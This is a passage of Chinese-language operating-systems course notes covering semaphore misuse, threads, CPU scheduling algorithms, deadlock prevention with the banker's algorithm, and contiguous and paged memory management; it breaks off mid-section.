<p>==错误1==：在利用互斥信号量mutex实现进程互斥时，如果将wait(s)与signai(s)颠倒，即</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>signal(mutex); critical section wait(mutex); </code></pre></div></div> <p>在这种情况下，可能会有几个进程同时进入临界区，因而同时去访问临界资源。对于这样的错误仅在几个进程同时活跃在临界区内时，才可能发现，而这种情况又并非总是可在发现的。</p> <p>==错误2==: 在实现进程互斥时，如果程序中的signal(mutex)被误写为wait(mutex),即</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wait(mutex); critical section wait(mutex); </code></pre></div></div> <p>此时的mutex将被出错的进程连续两次地执行wait操作，因而变成-1，这样将会使任何其它进程都不能进入临界区；从而也不会再有进程执行signal(mutex)操作，去唤醒出错的进程。在这种情况下，将发生死锁。</p> <p>==错误3==: 在实现进程互斥时，如果在程序中遗漏了wait(mutex)操作，将会使多个进程同时活跃在临界区；而如果遗漏了signal(mutex)操作，则将会使其它进程无法再进入临界区；而如果已有进程因不能进入临界区而阻塞，则该进程将永远不会被唤醒。</p> <h2 id="线程">线程</h2> <p>==定义==: 作为调度和分派的基本单位</p> <p>==线程与进程的比较==</p> <ul> <li>调度：进程不再是调度的基本单位。</li> <li>并 发 性：进程之间可以并发，线程之间也可以并发执行。</li> <li>拥有资源：线程几乎不占资源，同一进程的线程共享进程的资源。</li> <li>独立性：同一进程中的不同线程之间的独立性要低很多。</li> <li>系统开销：线程的创建、撤消与切换的系统开销小的多。</li> <li>支持多处理机系统</li> </ul> <p>==线程的运行状态==</p> <ul> <li>执行状态: 表示线程已获得处理机而正在运行</li> <li>就绪状态: 指线程已具备了各种执行条件，只须获得CPU便可立即执行</li> <li>阻塞状态: 指线程在执行中因某事件受阻而处于暂停状态</li> </ul> <p>==线程控制块TCB==</p> <p>线程标志符和一组状态参数：寄存器状态，堆栈，线程运行状态，优先级，线程专有存储器，信号屏蔽</p> <p>==多线程OS中的进程属性==</p> <ul> <li>进程是一个可拥有资源的基本单位；</li> <li>多线程可以并发执行；</li> <li>进程已不是可执行实体</li> </ul> <p>==线程的实现方式==</p> <ol> <li>内核支持线程 <ul> <li>线程的创建、撤消、线程之间的切换，都需要在内核的支持下来实现；</li> <li>线程控制块（TCB）</li> <li>调度以线程为单位</li> </ul> </li> <li>用户级线程 <ul> <li>仅存在于用户进程空间中，线程的创建、撤消、线程之间的同步与通信都无须利用系统调用（内核）来实现；</li> <li>系统内的线程可以“成百上千”</li> <li>调度以进程为单位</li> </ul> </li> </ol> <p>==线程的实现==</p> <ol> <li>内核支持线程的实现 <ul> <li>进程的任务数据区（Per Task Data Area）</li> <li>线程控制块（TCB）</li> <li>与进程管理类似</li> </ul> </li> <li>用户级线程的实现——利用中间系统 <ul> <li>运行时系统（Runtime System）是用于管理和控制线程的函数（过程）的集合。他们使用户级线程与内核无关。</li> <li>内核控制线程（又称轻型进程LWP），用户级线程通过LWP获得内何服务。</li> </ul> </li> </ol> <p>==线程的创建和终止==</p> <ul> <li>应用程序启动时，仅有一个线程——初始化线程</li> <li>初始化线程调用线程创建函数去创建若干个线程</li> <li>终止线程的方式：线程完成工作后自愿退出；线程在运行中出现错误或由于某种原因而被其它线程强行终止</li> <li>被终止未释放资源的线程可以被需要的线程调用，使它重新恢复运行</li> </ul> <h1 id="第三章-处理机调度与死锁">第三章 处理机调度与死锁</h1> <blockquote> <p>调度的实质是一种资源分配，处理机调度是对处理机资源进行分配</p> </blockquote> <h2 id="处理机调度的层次">处理机调度的层次</h2> <h3 id="高级调度">高级调度</h3> <p>又称长程调度或==作业==调度。调度对象是==作业==。运行频率最低</p> <p>==主要功能==是根据某种算法，决定将外存上处于后备队列中的哪几个作业调入内存，\ 为它们创建进程、分配必要的资源，并将它们放入就绪队列</p> <p>主要用于多道批处理系统中，而在分时和实时系统中不设置高级调度</p> <h3 id="低级调度">低级调度</h3> <p>又称为==进程==调度或短程调度。调度对象是==进程==(或内核级线程)。运行频率最高</p> <p>==主要功能==是根据某种算法，决定就绪队列中的哪个进程应获得处理机，\ 然后再由分派程序把处理机分配给该进程</p> <p>多道批处理、分时、实时系统</p> <h3 id="中级调度">中级调度</h3> <p>又称为==内存==调度</p> <p>主要==目的==是为了提高内存利用率和系统吞吐量</p> <p>==功能==: 将处于外存交换区中的就绪状态或等待状态的进程调入内存，\ 或把处于内存就绪状态或内存等待状态的进程交换到外存交换区中。</p> <p>实际上就是存储器管理中的对换功能</p> <h2 id="处理机调度算法的目标">处理机调度算法的目标</h2> <h3 id="共同目标">共同目标</h3> <ul> <li> <p>资源利用率</p> <p>CPU的利用率= CPU有效工作时间/（ CPU有效工作时间+CPU空闲等待时间）</p> </li> <li>公平性</li> <li>平衡性</li> <li>策略强制执行</li> </ul> <h3 id="批处理系统的目标">批处理系统的目标</h3> <ul> <li>平均周转时间短</li> <li> <p>系统吞吐量高</p> <p>吞吐量：单位时间内完成的作业数，与作业的平均长度具有密切关系。</p> </li> <li>处理机利用率高</li> </ul> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy2ub2escvj30v60ey40u.jpg" alt="" /></p> <h3 id="分时系统的目标">分时系统的目标</h3> <ul> <li> <p>响应时间快</p> <p>响应时间：从用户通过键盘提交一个请求开始至系统首次产生响应为止。</p> </li> <li> <p>均衡性</p> </li> </ul> <h3 id="实时系统的目标">实时系统的目标</h3> <ul> <li> <p>截止时间的保证</p> <p>截止时间：某任务开始执行的最迟时间，或必须完成的最迟时间。</p> </li> <li> <p>可预测性</p> </li> </ul> <h2 id="作业与作业调度">作业与作业调度</h2> <h3 id="批处理系统中的作业">批处理系统中的作业</h3> <p>==作业==: 包含了通常的程序和数据，还配有一份作业说明书</p> <p>在批处理系统中，是以作业为基本单位从外存调入内存的</p> <p>==作业步==: 对作业的加工步骤</p> <p>==作业控制块==(JCB): 作业在系统中存在的标志，其中保存了系统对作业进行管理和调度所需的全部信息</p> <p>在作业运行期间，系统按照JCB中的信息和作业说明书对作业进行控制</p> <h3 id="作业运行的三个阶段和三种状态">作业运行的三个阶段和三种状态</h3> <ul> <li>收容阶段：后备状态</li> <li>运行阶段：运行状态</li> <li>完成阶段：完成状态</li> </ul> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy2vgrow6wj31gi0naar7.jpg" alt="" /></p> <h2 id="作业调度的主要任务">作业调度的主要任务</h2> <p>根据JCB中的信息，检查系统中的资源能否满足作业对资源的需求，以及按照一定的算法，从外存的后备队列中选取某些作业调入内存，并为它们创建进程、分配必要的资源。然后再将新创建的进程排在就绪队列上等待调度</p> <p>执行作业调度时，需要解决</p> <p>1.==一次接纳多少作业==，即允许多少个作业同时在内存中运行</p> <p>2.==接纳哪些作业==，即哪些作业调入内存，取决于所采用的算法。比如先来先服务调度算法；或者是短作业优先调度算法；还有基于作业优先权的调度算法，响应比高者优先调度算法等</p> <h2 id="作业调度算法">作业调度算法</h2> <h3 id="先来先服务算法fcfs">先来先服务算法(FCFS)</h3> <ul> <li>可用于作业调度和进程调度。</li> <li>按照作业（进程）进入后备队列（就绪队列）的先后次序来挑选作业（进程），先进入先被挑选。</li> <li>算法容易实现，效率不高，只顾及作业（进程）等候时间，没考虑作业（进程）要求服务时间的长短。</li> <li>有利于长作业（进程），不利于短作业（进程）。有利于CPU繁忙型作业，不利于I/O繁忙型作业</li> </ul> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy2w5pmdx4j30zk0b8mxt.jpg" alt="" /></p> <h3 id="短作业优先调度算法sjf">短作业优先调度算法(SJF)</h3> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy2wwemzk5j31fq0r0e0g.jpg" alt="" /></p> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy2x1jixb9j30zk0h3gmy.jpg" alt="" /></p> <p>优点：</p> <ul> <li>降低作业的平均等待时间，提高系统吞吐量。</li> </ul> <h3 id="优先级调度算法psa">优先级调度算法(PSA)</h3> <p>基于作业的==紧迫程度==，由外部赋予作业相应的优先级，调度算法是根据优先级进行调度的</p> <h3 id="高响应比优先调度算法">高响应比优先调度算法</h3> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy2x8ql33uj30zu0g0q66.jpg" alt="" /></p> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy2xenh722j31gc0cq13y.jpg" alt="" /></p> <h2 id="重要例题">重要例题</h2> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy2xskbf1xj30mc0a0aa6.jpg" alt="" /></p> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy2xtk8qekj30ye0r4n1i.jpg" alt="" /></p> <h2 id="进程调度">进程调度</h2> <h3 id="进程调度的任务">进程调度的任务</h3> <ul> <li>保存处理机的现场信息</li> <li>按某种算法选取进程</li> <li>把处理器分配给进程</li> </ul> <h3 id="进程调度机制">进程调度机制</h3> <ul> <li>排队器：将就绪进程插入到相应的就绪队列中。</li> <li>分派器：依据进程调度程序所选定的进程，将其从就绪队列中取出。</li> <li>上下文切换器：保存当前进程的上下文；新选进出的CPU现场信息恢复。</li> </ul> <h3 id="进程调度方式">进程调度方式</h3> <h4 id="非抢占方式">非抢占方式</h4> <p>一旦把处理机分配给某个进程后，让该进程一直执行，\ 直到该进程完成或者发生某事件而阻塞</p> <p>引起进程调度的因素：</p> <ul> <li>正在执行的进程执行完毕</li> <li>执行中的进程因为提出I/O请求而暂停执行</li> <li>进程通信或同步过程中执行了原语操作</li> </ul> <p>==优点==：实现简单、系统开销小，适用于大多数的批处理系统环境。</p> <p>==缺点==：难以满足紧急任务的要求，不适宜要求比较严格的实时系统</p> <h4 id="抢占方式">抢占方式</h4> <p>允许调度程序根据某种原则，暂停正在执行的进程，将处理机重新分配给其他进程</p> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy2yj1elzbj30zi0awte3.jpg" alt="" /></p> <h2 id="轮转调度算法">轮转调度算法</h2> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy2zk9xw6lj30vc0de7bv.jpg" alt="" /></p> <p>时间片 Q=R / Nmax</p> <p>R：响应时间 Nmax： 最大进程数</p> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy2znmzeztj31co0gsk36.jpg" alt="" /></p> <p><a href="https://blog.csdn.net/Fly_as_tadpole/article/details/80595194">好题</a></p> <h2 id="优先级调度算法">优先级调度算法</h2> <p>==优先级调度算法的类型==</p> <ul> <li>非抢占式优先级调度算法</li> <li>抢占式优先级调度算法</li> </ul> <p>==优先级的类型==</p> <ul> <li>==静态优先级==</li> </ul> <p>静态优先权是在创建进程时确定的，且在进程的整个运行期间保持不变。</p> <p>确定进程优先权的依据有如下三个方面：</p> <p>（1）进程类型 （2）进程对资源的需求 （3）用户要求</p> <ul> <li>==动态优先级==</li> </ul> <p>动态优先权是指，在创建进程时所赋予的优先权，是可以随进程的推进或随其等待时间的增加而改变的，以便获得更好的调度性能。</p> <p>进程优先权改变原因：</p> <p>（1）进程等待时间 （2）进程占用CPU时间</p> <h2 id="多级反馈队列调度算法">多级反馈队列调度算法</h2> <ul> <li>设置多个就绪队列，并为各个队列赋予不同的优先级，优先级越高的队列中，为每个进程所规定的执行时间片就越小</li> <li>新进程进入内存后，放入第一队列末尾，按FCFS原则等待调度，如果在一个时间片结束时没完成，将该进程转入第二队列末尾重新等待调度执行……</li> <li>仅当第一队列空闲时，调度程序才调度第二队列中的进程运行</li> <li>如果处理机正在为某队列的进程服务，又有新进程插入到较高优先级的队列中，则新进程将抢占正在运行进程的处理机</li> </ul> <p>算法性能：</p> <ul> <li>较好的性能，能够照顾到用户的利益</li> <li>短作业、长作业都能得到比较满意的处理</li> </ul> <h2 id="实时调度">实时调度</h2> <h3 id="实现实时调度的基本条件">实现实时调度的基本条件</h3> <ol> <li>提供必要的信息 <ul> <li>就绪时间</li> <li>开始截止时间和完成截止时间</li> <li>处理时间</li> <li>资源要求</li> <li>优先级</li> </ul> </li> <li>系统处理能力强</li> <li>采用抢占式调度机制</li> <li>具有快速切换机制</li> </ol> <h3 id="实时调度算法的分类">实时调度算法的分类</h3> <ol> <li>非抢占式调度算法</li> <li>抢占式调度算法 <ul> <li>基于时钟中断的抢占式优先级调度算法</li> <li>立即抢占的优先级调度算法</li> </ul> </li> </ol> <h3 id="最早截止时间优先算法edf">最早截止时间优先算法(EDF)</h3> <p>见书P100~101</p> <ul> <li>根据开始截止时间来确定任务的优先级</li> <li>截止时间早的排在就绪队列前面</li> <li>总是选择就绪队列中的第一个任务</li> <li>可用于抢占式调度和非抢占式调度</li> </ul> <h3 id="最低松弛度优先算法llf">最低松弛度优先算法(LLF)</h3> <p>见书P101~102</p> <ul> <li>根据任务紧急（或松弛）的程度来确定优先级</li> <li>紧急程度愈高（松弛程度愈低）优先级愈高，愈先执行</li> <li>主要用于抢占式调度</li> <li>==松弛度=必须完成时间-其本身的运行时间-当前时间==</li> </ul> <p>一任务在400 ms时必须完成，它本身需要运行 150 ms，则其松弛程度为 250 ms。</p> <h3 id="优先级倒置">优先级倒置</h3> <p>原因: 进程之间有无资源争抢</p> <p>解决方法:</p> <ul> <li>处理机不允许被抢占</li> <li>动态优先级继承</li> </ul> <h2 id="死锁">死锁</h2> <h3 id="资源问题">资源问题</h3> <ul> <li>可重用性资源：IO设备、打印机等</li> <li>可消耗性资源（临时资源）：进程间通信的消息等</li> <li>可抢占性资源（可剥夺资源）：CPU、内存</li> <li>不可抢占性资源（非可剥夺资源）：磁带机、打印机</li> </ul> <h3 id="定义">定义</h3> <p>如果一组进程中的每一个进程都在等待仅由该组进程中的其他进程才能引发的事件，那么该组进程是死锁的</p> <h3 id="原因">原因</h3> <ul> <li>==竞争不可抢占性资源引起进程死锁==</li> <li>==竞争可消耗资源引起进程死锁==</li> <li>进程推进顺序不当</li> <li>PV操作使用不当</li> </ul> <h3 id="产生死锁的必要条件">产生死锁的必要条件</h3> <ul> <li>互斥条件：进程互斥使用资源</li> <li>请求和保持条件：申请新资源时不释放已占有资源</li> <li>不剥夺条件：一个进程不能抢夺其他进程占有的资源</li> <li>环路等待条件：存在一组进程循环等待资源的环形链</li> </ul> <h3 id="处理死锁的基本方法">处理死锁的基本方法</h3> <ul> <li>预防死锁：通过设置某些限制条件来破坏产生死锁的四个必要条件中的一个或几个，来预防发生死锁</li> <li>避免死锁：在动态分配资源的过程中，用某种方法防止系统进入不安全状态，从而避免发生死锁</li> <li>检测死锁：通过设置检测机制，及时检测出死锁的发生，确定有关的进程和资源</li> <li>解除死锁：与检测死锁配套使用，常用的方法是撤销或挂起一些进程，收回资源，分配给处于阻塞状态的进程，使之转为就绪状态，可以继续运行</li> </ul> <h3 id="预防死锁">预防死锁</h3> <h4 id="破坏请求和保持条件">破坏“请求和保持”条件</h4> <ol> <li> <p>第一种协议：资源静态分配法</p> <p>一个进程必须在执行前就申请它所要的全部资源，并且直到它所要的资源都得到满足后才开始执行</p> </li> <li> <p>第二种协议：资源静态分配法</p> <p>允许进程只获得运行初期所需的资源，便开始运行。这些资源使用完毕并全部释放，再申请新的所需资源。</p> </li> </ol> <h4 id="破坏不可抢占条件">破坏“不可抢占”条件</h4> <p>采用剥夺控制</p> <p>当进程在申请资源未获准许时,先主动释放已占有的资源,然后才去等待，以后再一起向系统提出申请</p> <p>一般只适用于可剥夺性资源，如CPU、存储区</p> <h4 id="破坏循环等待条件">破坏“循环等待”条件</h4> <p>资源顺序分配法</p> <p>对系统的全部资源编号，并规定进程申请资源时只能按升序进行</p> <h2 id="避免死锁">避免死锁</h2> <h3 id="系统安全状态">系统安全状态</h3> <ul> <li>安全状态是指系统能按某种顺序为每个进程分配其所需的资源，使每个进程执行完毕</li> <li>安全序列：进程安全执行完的顺序。</li> <li>如果系统无法找到这样一个安全序列，则称系统处于不安全状态。</li> <li>避免死锁的本质在于：当进行资源分配时，如何避免进入不安全状态</li> </ul> <h3 id="银行家算法">银行家算法</h3> <ul> <li>（1）如果<code class="highlighter-rouge">Requesti[j]≤Need[i,j]</code>，便转向步骤2；否则认为出错。</li> <li>（2）如果<code class="highlighter-rouge">Requesti[j]≤Available[j]</code>，便转向步骤(3)；否则， 表示尚无足够资源，Pi须等待。</li> <li> <p>（3）系统试探着把资源分配给进程Pi，并执行：</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Available[j]=Available[j]-Requesti[j]; Allocation[i,j]=Allocation[i,j]+Requesti[j]; Need[i,j]=Need[i,j]-Requesti[j]; -（4）系统执行安全性算法，检查此次资源分配后，系统是否处于安全状态。若安全，才正式将资源分配给进程Pi，以完成本次分配；否则， 将本次的试探分配作废，恢复原来的资源分配状态，让进程Pi等待。 </code></pre></div> </div> </li> </ul> <p>优点： 资源利用率比静态资源分配法高，又避免死锁。</p> <p>缺点： 对资源分配过于保守；计算太多，并且需知道对资源的最大需求量，不太实际</p> <h3 id="安全性算法">安全性算法</h3> <p>(1) 设置工作向量Work和布尔型向量Finish ，并初始化: Work=Available; Finish[i]=false;</p> <p>(2)寻找能满足下述条件的进程：①Finish[i]=false;② Need[i,j]≤Work[j];若找到，执行 (3)，否则，执行 (4)。</p> <p>(3) 执行： Work[j]=Work[i]+Allocation[i,j]; Finish[i]=true; go to step 2;</p> <p>(4) 如果所有进程的Finish［i］=true都满足， 则表示系统处于安全状态；否则，系统处于不安全状态。</p> <h3 id="死锁定理">死锁定理</h3> <p>系统为死锁状态的充分条件是：当且仅当该状态的资源分配图是不可完全简化的。该充分条件称为死锁定理。</p> <h3 id="死锁的解除">死锁的解除</h3> <ul> <li>剥夺资源</li> <li>终止(或撤销)进程</li> </ul> <h1 id="第四章-存储器管理">第四章 存储器管理</h1> <blockquote> <p>管理对象: ==内存==</p> </blockquote> <h2 id="存储器的多层结构">存储器的多层结构</h2> <p>寄存器、高速缓存、主存储器、磁盘缓存 属于操作系统存储管理的管辖范畴</p> <p>以上，掉电后存储信息丢失</p> <p>固定磁盘、可移动存储介质 属于设备管理的管辖范畴</p> <p>存储信息长期保存</p> <p>可执行存储器: 寄存器、主存储器</p> <p>寄存器: 存放处理机运行时的数据，以加速存储器的访问速度</p> <p>高速缓存: 用于备份主存中较常用的数据，以减少处理机对主存储器的访问次数</p> <p>主存储器(内存,主存): 用于保存进程运行时的程序和数据</p> <p>磁盘缓存: 用于暂时存放频繁使用的一部分磁盘数据和信息</p> <h2 id="一些基本概念">一些基本概念</h2> <h3 id="逻辑地址相对地址虚地址">逻辑地址(相对地址，虚地址)</h3> <p>用户的程序经过汇编或编译后形成目标代码，目标代码通常采用相对地址的形式，其首地址为0，其余指令中的地址都相对于首地址而编址。不能用逻辑地址在内存中读取信息。</p> <h3 id="物理地址绝对地址实地址">物理地址(绝对地址，实地址)</h3> <p>内存中存储单元的地址，可直接寻址</p> <h3 id="地址空间">地址空间</h3> <ul> <li>程序用来访问信息所用地址单元的集合</li> <li>逻辑（相对）地址的集合</li> <li>由编译程序生成</li> </ul> <h3 id="存储空间">存储空间</h3> <ul> <li>主存中物理单元的集合</li> <li>物理（绝对）地址的集合</li> <li>由装配程序等生成</li> </ul> <h3 id="定位存储分配">定位(存储分配)</h3> <p>为具体的程序和数据等分配存储单元或存储区工作。</p> <h3 id="映射">映射</h3> <p>把逻辑地址转换为相应的物理地址的过程。</p> <h2 id="程序的装入">程序的装入</h2> <h3 id="对用户程序的处理步骤">对用户程序的处理步骤</h3> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy3plfwiryj30zk0gamxq.jpg" alt="" /></p> <ol> <li>编译，由编译程序对用户源程序进行编译，形成若干个目标模块</li> <li>链接，由链接程序将编译后形成的一组目标模块以及它们所需要的库函数链接在一起，形成一个完整的装入模块</li> <li>装入，由装入程序将装入模块装入内存</li> </ol> <h3 id="绝对装入方式">绝对装入方式</h3> <ul> <li>编译程序产生绝对地址的目标代码，即代码的逻辑地址和物理地址相同</li> <li>装入程序按照装入模块中的地址，将程序和数据装入内存，不进行地址的修改</li> <li>只适用于单道程序环境</li> </ul> <h3 id="可重定位装入方式">可重定位装入方式</h3> <p>目标模块的起始地址从0开始，程序中其他地址相对于起始地址计算，装入程序根据内存的当前情况，将装入模块装入内存的适当位置</p> <p>==重定位==：在装入时对目标程序中指令和数据地址的修改过程。或者说：把作业地址空间中使用的逻辑地址变换成内存空间中的物理地址的过程。又称地址映射。</p> <p>地址变换在装入时一次完成，以后不再改变，==故称为静态重定位==</p> <p>==优点==：无需增加硬件地址变换机构；实现简单；适用于多道程序环境</p> <p>==缺点==：不允许程序运行时在内存中移动位置；程序在存储空间中只能连续分配；多个用户难以共享存于内存中的同一程序。</p> <h3 id="动态运行时的装入方式">动态运行时的装入方式</h3> <ul> <li>装入程序把装入模块装入内存后，不立即把装入模块中的相对地址转换为绝对地址，\ 而是把这种地址转换推迟到程序真正要执行时才进行。</li> <li>装入内存后的所有地址都仍是相对地址。</li> <li>允许程序在内存中移动；</li> <li>需要重定位寄存器的支持</li> <li>优点：可对内存进行非连续分配；提供了实现虚存的基础；有利于程序段的共享</li> </ul> <h2 id="程序的链接">程序的链接</h2> <h3 id="静态链接方式">静态链接方式</h3> <p>在程序运行之前，先将各目标模块以及所需的库函数，链接成一个完整的装配模块，==以后不拆开==。</p> <p>在将这几个目标模块装配成一个装入模块时，须解决以下两个问题：</p> <p>(1) 对相对地址进行修改。 (2) 变换外部调用符号</p> <h3 id="装入时动态链接">装入时动态链接</h3> <p>将用户源程序编译后所得到的一组目标模块，在装入内存时，采用==边装入边链接==的链接方式</p> <p>==优点==：便于修改和更新；便于实现对目标模块的共享。</p> <p>==缺点==：程序每次要运行的模块可能不相同，但无法知道本次要运行哪些模块，故只能将所有可能要运行的模块都全部装入内存并链接。</p> <h3 id="运行时动态链接">运行时动态链接</h3> <p>对某些目标模块的链接，在程序执行中需要该模块时，才对它进行的链接。</p> <p>==优点==：凡在执行过程中未被用到的目标模块，都不会被调入内存和被链接到装入模块上，这样不仅可加快程序的装入过程，而且可节省大量的内存空间。</p> <h2 id="连续分配存储管理方式">连续分配存储管理方式</h2> <blockquote> <p>该方式为一个用户程序分配一个连续的内存空间，即程序中代码或数据的逻辑地址相邻，体现在内存空间分配时物理地址的相邻</p> </blockquote> <h3 id="单一连续分配">单一连续分配</h3> <ul> <li>最简单的一种存储管理方式，但只能用于单用户、单任务的操作系统中。</li> <li>内存分为系统区和用户区两部分，系统区仅提供给OS使用，通常是放在内存的低址部分；\ 用户区是指除系统区以外的全部内存空间， 提供给用户使用。</li> <li>优点：管理简单，不要求专用的硬件支持；为防止破坏OS ，设置界限寄存器；易于实现。</li> <li>缺点：存储器利用率低；信息不共享；CPU 利用率低，周转时间长</li> </ul> <h3 id="固定分区分配">固定分区分配</h3> <ul> <li>运行多道程序的存储管理方式。</li> <li>内存用户被划分为若干个固定大小的区域，每个分区中只装入一道作业。</li> <li>内存利用率低。</li> <li>允许几道作业并发。</li> <li>==划分分区的方法==： 分区大小相等；分区大小不等。</li> </ul> <p>内存分配:</p> <p>==分区使用表==：各表项包括每个分区的起始地址，大小和状态。</p> <p>用户程序需要装入时，内存分配程序检索该表，找出一个能满足要求尚未分配的分区，分配给该程序，并将其表项中的状态置为“已分配”。</p> <p>若未找到大小足够的分区，则拒绝为用户程序分配内存。</p> <h3 id="动态分区分配">动态分区分配</h3> <p>按作业的实际大小来划分分区，且分区个数也是随机的,实现多个作业对内存的共享，进一步提高内存资源利用率</p> <h4 id="动态分区分配中的数据结构">动态分区分配中的数据结构</h4> <ul> <li>空闲分区表，一个空闲分区占一个表目，表目包括：分区序号、分区始址、分区大小</li> <li>空闲分区链。</li> </ul> <h4 id="动态分区分配操作">动态分区分配操作</h4> <h5 id="分配内存">分配内存</h5> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy3x1xslmij31gc0bk7cn.jpg" alt="" /></p> <h5 id="回收内存">回收内存</h5> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy3xnq6jhej31820o4ncs.jpg" alt="" /></p> <h4 id="基于顺序搜索的动态分区分配算法">基于顺序搜索的动态分区分配算法</h4> <blockquote> <p>顺序搜索是指依次搜索空闲分区链上的空闲分区，去寻找一个其大小能满足要求的分区</p> </blockquote> <h5 id="首次适应算法">首次适应算法</h5> <p>把主存中所有空闲区按其==物理地址递增==的次序排列。</p> <p>在为作业分配存储空间时，从低址空闲区开始查找,直到找到第一个能满足要求的空闲区后，从中划出与请求的大小相等的存储空间分配给作业，余下的空闲区仍留在空闲链中；</p> <p>优先利用内存中低址部分的空闲分区，保留了高址部分的大空闲区；==低址部分不断被分割，形成很多难以利用的碎片。==</p> <h5 id="循环首次适应算法">循环首次适应算法</h5> <p>该算法是首次适应算法的变形，在为作业分配存储空间时，是==从上次所分配的空闲区的下一个空闲区开始查找，直到找到第一个能满足要求的空闲区==，从中划出一块与请求的大小相等的一块存储区分配给作业。若到最后一个空闲区的大小仍不能满足要求时，应再从第一个空闲区开始查找；</p> <p>需设置查询指针；</p> <p>使空闲分区分布均匀，但是缺乏大的空闲区；</p> <h5 id="最佳适应算法">最佳适应算法</h5> <p>“最佳”的含义是指每次为作业分配主存时，总是把既能满足要求，又是最小的空闲区分配给作业，以免由于“大材小用”而浪费主存。为了加速查找，==该算法要求将所有的空闲区按其大小递增次序排列==；</p> <p>第一个找到能满足要求的空闲区一定使最佳的；每次分割的剩余部分都是最小的，因此在存储器中会留下很多难以利用的小碎片</p> <h5 id="最坏适应算法">最坏适应算法</h5> <p>在扫描整个空闲分区表或链表时，总是挑选一个最大的空闲区，从中分割一部分存储空间给作业使用，以至于存储器缺乏大的空闲分区</p> <p>优点: 使剩下的空闲区不至于太小，产生碎片的可能性最小，对中、小作业有利；查找效率最高</p> <h4 id="基于索引搜索的动态分区分配算法">基于索引搜索的动态分区分配算法</h4> <p>==快速适应算法、伙伴系统、哈希算法==</p> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy3y9o2vomj316j0u0hbk.jpg" alt="" /></p> <h4 id="动态可重定位分区分配">动态可重定位分区分配</h4> <h5 id="紧凑">==紧凑==</h5> <p>==通过移动内存中作业的位置，把原来多个分散的小分区拼接成一个大分区==</p> <h5 id="动态重定位的实现">动态重定位的实现</h5> <ul> <li>每次“紧凑”后必须对移动了的程序或数据进行重定位</li> <li>地址变换过程是在程序执行期间，随着对每条指令或数据的访问自动进行的，称为动态重定位。</li> <li>硬件地址变换机构的支持——重定位寄存器</li> <li>内存地址＝相对地址＋重定位寄存器中的地址</li> <li>移动程序时只需修改重定位寄存器中的地址</li> </ul> <h2 id="对换">对换</h2> <h3 id="定义-1">定义</h3> <p>把内存中暂时不能运行的进程或者暂时不用的程序和数据换出到外存上，以便腾出足够的内存空间，再把已具备运行条件的进程或进程所需要的程序和数据换入内存</p> <p>对换是改善内存利用率的有效措施，它可以直接提高处理机的利用率和系统的吞吐量</p> <h3 id="对换分类">对换分类</h3> <p>整体对换: 进程对换\ 部分对换: 页面对换、分段对换</p> <h3 id="进程对换os必须实现三方面的功能">进程对换,OS必须实现三方面的功能</h3> <h4 id="对换空间的管理">对换空间的管理</h4> <ol> <li> <p>对换空间管理的主要目标</p> <p>在具有对换功能的OS中，通常把磁盘空间分为文件区和对换区</p> <p>1) 对文件区管理的主要目标</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 提高文件存储空间的利用率，提高对文件的访问速度 采取==离散分配==方式 </code></pre></div> </div> <p>2) 对对换空间管理的主要目标</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 提高进程换入和换出的速度，然后才是提高文件存储空间的利用率 采取==连续分配==方式 </code></pre></div> </div> </li> </ol> <h4 id="进程的换出与换入">进程的换出与换入</h4> <ol> <li> <p>换出过程</p> <p>选择处于阻塞状态且优先级最低的进程作为换出进程，\ 换出后收回内存空间，修改进程的PCB相关信息</p> </li> <li> <p>换入过程</p> <p>找出“就绪”状态并已经换出的进程，将其中换出时间最久的进程作为换入进程，将其换入</p> </li> </ol> <p>直到已无可换入的进程和无可换出的进程</p> <h2 id="离散分配">离散分配</h2> <h3 id="连续分配方式的缺点">连续分配方式的缺点</h3> <p>形成许多“碎片”；“紧凑”开销大。</p> <h3 id="离散分配的种类">离散分配的种类</h3> <blockquote> <p>根据在离散分配时所分配地址空间的基本单位的不同</p> </blockquote> <ol> <li>分页存储管理方式</li> </ol> <p>在该方式中，将用户程序的地址空间分为若干个固定大小的区域，称为“==页==”或者“==页面==”。大小为1KB。相应地，也将内存空间分为若干个物理块或页框，==页和块的大小相同==。这样可将用户程序的任一页放入任一物理块中，实现了==离散分配==</p> <ol> <li>分段存储管理方式</li> </ol> <p>该方式把用户程序的地址空间分为若干个大小不同的段，每段可定义一组相对完整的信息。</p> <ol> <li>段页式存储管理方式</li> </ol> <h2 id="分页存储管理方式">分页存储管理方式</h2> <h3 id="页页面">页(页面)</h3> <p>把每个作业(进程)==逻辑地址空间==划分成若干大小相等的片.第0页、第1页</p> <h3 id="物理块或页框frame">(物理)块或页框(frame)</h3> <p>把==内存空间==分成与页面相同大小的若干个存储块。 0＃块、1＃块</p> <h3 id="页内碎片">页内碎片</h3> <p>由于进程的最后一页经常装不满一块而形成了不可利用的碎片。</p> <h3 id="页面大小">页面大小</h3> <ul> <li>太小，可使内存碎片减小，有利于提高内存利用率；会使每个进程占用较多的页面，从而导致进程的页表过长，占用大量内存； 此外，还会降低页面换进换出的效率。</li> <li>较大，可以减少页表的长度，提高页面换进换出的速度，但却又会使页内碎片增大。</li> <li>页面的大小应选择得适中，且页面大小应是2的幂，通常为1 KB~8 KB。</li> </ul> <h3 id="地址结构页号页内地址">地址结构(页号、页内地址)</h3> <p><img 